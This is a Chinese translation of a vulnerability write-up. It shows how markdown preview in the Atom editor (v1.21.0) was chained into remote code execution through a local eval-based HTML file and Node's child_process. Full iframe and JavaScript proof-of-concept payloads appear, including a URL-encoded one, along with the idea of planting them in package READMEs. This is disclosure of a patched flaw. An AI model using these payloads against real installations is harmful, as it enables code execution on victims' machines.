Atom也爆遠程代碼執行漏洞？就問你怕不怕！

01-28

0x00 前言

最近我花了點時間看了下Atom（https://atom.io/），它是由Github發布的文本編輯器。經過一段時間的研究，我可以將Atom中的多個漏洞組合利用最終實現遠程代碼執行。這個漏洞在我通過HackerOne（https://hackerone.com/github）提交後1.21.1版本（https://github.com/atom/atom/releases/tag/v1.21.1）中已經修復。要是有同學想要對這個漏洞進行復現的話可以通過https://github.com/atom/atom/releases/tag/v1.21.0這個鏈接下載歷史版本。

0x01 將Web安全問題帶到了桌面應用？

Atom是使用Electron（https://electronjs.org/）寫的。Electron是一個基於JavaScript、HTML和CSS用於開發桌面應用的跨平台框架。通過利用現成的框架，可以極大的提高開發效率。然而這也會產生一些問題，就是會將Web端的安全問題帶到桌面應用中。特別是：XSS漏洞。由於整個應用程序的整體邏輯都是由JavaScript編寫的，所以單個XSS可能導致任意代碼執行。畢竟，攻擊者可以像軟體的開發人員一樣，在應用程序中執行任意JavaScript代碼（XSS本質上就是任意js代碼執行）。當然，如果這樣想的話，那就太簡單了。所以Electron提供了一些緩解XSS漏洞的方法。事實上，github的issue上已經有一些針對該問題的討論。但是，與其他漏洞緩解措施一樣，如果使用不當的話，可能仍然會被繞過。

0x02 通過CSP緩解緩解XSS漏洞

在我們挖掘漏洞之前，我們先看一下GitHub的開發人員是如何緩解Atom的XSS問題：使用Content-Security-Policy（內容安全策略）。翻一下Atom的index.html代碼，你會看到下面的策略：

<!DOCTYPE html><html>n <head>n <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src self unsafe-eval; style-src self unsafe-inline; media-src blob: data: mediastream: * atom://*;">n <script src="index.js"></script>n </head>n <body tabindex="-1"></body></html>n

script-srcselfunsafe-eval的含義是著同源的JavaScript以及使用eval like構造創建的代碼可以被執行。但是，任何內嵌的JavaScript代碼都不會被執行。簡單來說，來自「index.js」的JavaScript可以再下面的示例中執行，alert(1) 不能執行，因為它屬於內聯JavaScript代碼：

<!DOCTYPE html><html>n <head>n <meta http-equiv="Content-Security-Policy" content="default-src * atom://*; img-src blob: data: * atom://*; script-src self unsafe-eval; style-src self unsafe-inline; media-src blob: data: mediastream: * atom://*;">n </head>n n <script src="index.js"></script>n n <script>alert(1)</script></html>n

0x03 Atom是如何解析Markdown文件的

在挖掘包含語法解析器或預覽生成器軟體的漏洞時，花費一些時間來研究這些組件往往會有意想不到的收穫。通常情況下，解析庫一般是採用了一些第三方組件，這些組件再開發時可能已經考慮到了這些安全問題。但是就安全性這個問題來講，組件的原作者以及後續基於該組件的開發者來說，兩類人可能會有不同的需求。舉個例子，開發者會默認這些庫的輸入內容都是可信的。所以我們先來看一看Atom是如何解析Markdown文件的。這個默認組件的相關代碼可以在GitHub上找到：https://github.com/atom/markdown-preview。粗略的看了先，我發現，Markdown解析器似乎也解析了任意的HTML文檔：

所以第一個想法是插入一個簡單的JavaScript代碼片段來檢查JavaScript是否被Markdown庫過濾。雖然CSP會阻止代碼在這裡執行，但是通過這個方法可以檢測到是否採用了一些基本的過濾手段。如下圖所示，事實證明，響應的腳本代碼並不會出現在DOM中。

所以，針對GitHub上的研究發現，並不是所有的HTML代碼都可以直接渲染執行的。我們來看一下Markdown庫是如何對輸入的內容進行過濾的：

sanitize = (html) ->nt o = cheerio.load(html)nt o(script).remove()nt attributesToRemove = [t onabortnt onblurnt onchangent onclicknt ondbclicknt onerrornt onfocusnt onkeydownnt onkeypressnt onkeyupnt onloadnt onmousedownnt onmousemovent onmouseovernt onmouseoutnt onmouseupnt onresetnt onresizent onscrollnt onselectnt onsubmitnt onunloadnt ]nt o(*).removeAttr(attribute) for attribute in attributesToRemovent o.html()n

可以說是這個過濾手段是非常的雞肋了，但是再配合上CSP的力量，常規的payload應該都不會被執行。還是回頭看一下之前的截圖，仍然有一些payload是可以被載入的。

通過截圖可以看到，Atom是在file://協議下執行的，那麼如果我們創建一個惡意的HTML文件並在本地嵌入，會發生什麼事呢？按理來說這將被Electron識別為同源，因此JavaScript代碼應該會被執行。所以我在home文件夾中創建了一個名為hacked.html的文件，文件內容如下：

<script>n alert(1);</script>n

現在只需在Markdown文檔中嵌入iframe，就可以觸發JavaScript代碼。事實確實是這樣。

0x04 構造本地DOM XSS漏洞利用鏈

雖然我現在已經能夠執行任意的JavaScript代碼了，但是這裡存在一個問題：要想利用這個漏洞需要跟用戶進行大量的交互。

用戶必須主動打開這個Markdown 文檔
用戶必須打開Markdown文檔預覽
惡意Markdown文檔需要包含另一個本地惡意JavaScript文件

所以這種問題要是再真實的攻擊場景中，那就有點雞肋了。換個思路，如果包含存在DOM XSS漏洞的本地文件呢？這意味著可以成功的利用這一漏洞。所以我決定看看其他的HTML文件。幸運的是，在OS X上，應用程序只是一堆文件，我們可以直接看到代碼。從這個文件夾開始往下看：/Applications/Atom.app/Contents:

搜索文件夾下的HTML文件找到了這樣一些文件：

? Contents find . -iname "*.html"./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index.htmln./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index.htmln./Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute.js.htmln./Resources/app/apm/node_modules/clone/test-apart-ctx.htmln./Resources/app/apm/node_modules/clone/test.htmln./Resources/app/apm/node_modules/colors/example.htmln./Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example.htmln./Resources/app/apm/node_modules/jsbn/example.htmln

可以使用一些審計js代碼的工具：https://statuscode.ch/2015/05/static-javascript-analysis-with-burp/，或者也可以人工的去審計這些HTML文件。由於代碼量不算多，通過人工審計的方式，大概看了下/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html中的代碼：

<html>n <head>n <meta charset="utf-8">n <title>Clone Test-Suite (Browser)</title>n </head>n <body>n <script>n var data = document.location.search.substr(1).split(&); try {n ctx = parent[data[0]]; eval(decodeURIComponent(data[1])); window.results = results;n } catch(e) { var extra = ; if (e.name == SecurityError)n extra = This test suite needs to be run on an http server.;n alert(Apart Context iFrame Errorn + e + nn + extra); throw e;n } </script>n </body></html>n

在document.location.search上有一個eval調用，可以通過URL控制傳入的內容。而且，Atom的Content-Security-Policy允許eval語句執行，所以打開如下所示的代碼應該也會彈窗：

file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)n

實際上，下面的Markdown文檔就足以執行任意的JavaScript代碼了：

<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)"></iframe>n

0x05 本地任意代碼執行

正如文章前面所說，在Electron應用程序中執行惡意JavaScript代碼通常也就意味著本地任意代碼執行。在這種情況下，一個簡單的思路就是訪問window.top對象，並使用NodeJS require函數訪問child_process模塊。通過以下JavaScript代碼可以打開Mac OS X計算器：

<script type="text/javascript">n window.top.require(child_process).execFile(/Applications/Calculator.app/Contents/MacOS/Calculator,function(){});</script>n

以前的漏洞利用方式是這樣的：

<iframe src="file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&%77%69%6e%64%6f%77%2e%74%6f%70%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%46%69%6c%65%28%27%2f%41%70%70%6c%69%63%61%74%69%6f%6e%73%2f%43%61%6c%63%75%6c%61%74%6f%72%2e%61%70%70%2f%43%6f%6e%74%65%6e%74%73%2f%4d%61%63%4f%53%2f%43%61%6c%63%75%6c%61%74%6f%72%27%2c%66%75%6e%63%74%69%6f%6e%28%29%7b%7d%29%3b%0a"></iframe>n

只要打開構造好的Markdown文檔，Calculator.app就會打開執行：

0x06 如何實現遠程任意代碼執行？

雖然經過上面的研究我們已經取得了一些進展，但仍然需要受害者打開惡意的Markdown文檔（需要用戶交互的漏洞，價值都會大打折扣）。想了下，要知道tom渲染Markdown文檔可不止這一處。在Atom源代碼上執行grep搜索之後，還有另外一個渲染Markdown文件的模塊：https://github.com/atom/settings-view/。看了下它的過濾手段，也沒啥卵用。

const ATTRIBUTES_TO_REMOVE = [ onabort, onblur, onchange, onclick, ondbclick, onerror, onfocus, onkeydown, onkeypress, onkeyup, onload, onmousedown, onmousemove, onmouseover, onmouseout, onmouseup, onreset, onresize, onscroll, onselect, onsubmit, onunload]function sanitize (html) { const temporaryContainer = document.createElement(div)n temporaryContainer.innerHTML = html for (const script of temporaryContainer.querySelectorAll(script)) {n script.remove()n } for (const element of temporaryContainer.querySelectorAll(*)) { for (const attribute of ATTRIBUTES_TO_REMOVE) {n element.removeAttribute(attribute)n }n } for (const checkbox of temporaryContainer.querySelectorAll(input[type="checkbox"])) {n checkbox.setAttribute(disabled, true)n } return temporaryContainer.innerHTMLn}n

這裡的Markdown解析器也存在安全問題，而且似乎比前者更嚴重。Atom支持「Packages」，可以由社區的開發者提供第三方插件的擴展。這些第三方插件中Markdown格式的README，會在Atom視圖中呈現。因此，惡意攻擊者只需要註冊一堆惡意軟體包，或者提供一些與現有軟體名稱相似的軟體包，再README中插入惡意代碼。只要有人點擊該名稱即可（並不需要安裝！），惡意代碼就可以成功的被執行了。

0x07 來看一下Github是怎麼修復這個漏洞的

經過與GitHub開發組討論之後，這個漏洞已經被修復了，修復方法如下：

從軟體包中刪除不必要的HTML文件
使用 DOMPurify （https://github.com/cure53/DOMPurify）過濾Markdown中的內容雖然不是一個完美的解決方案，但就目前來講也是一個不錯的緩解措施。

本文翻譯自 https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/ 如若轉載，請註明原文地址： http://www.4hou.com/vulnerable/8681.html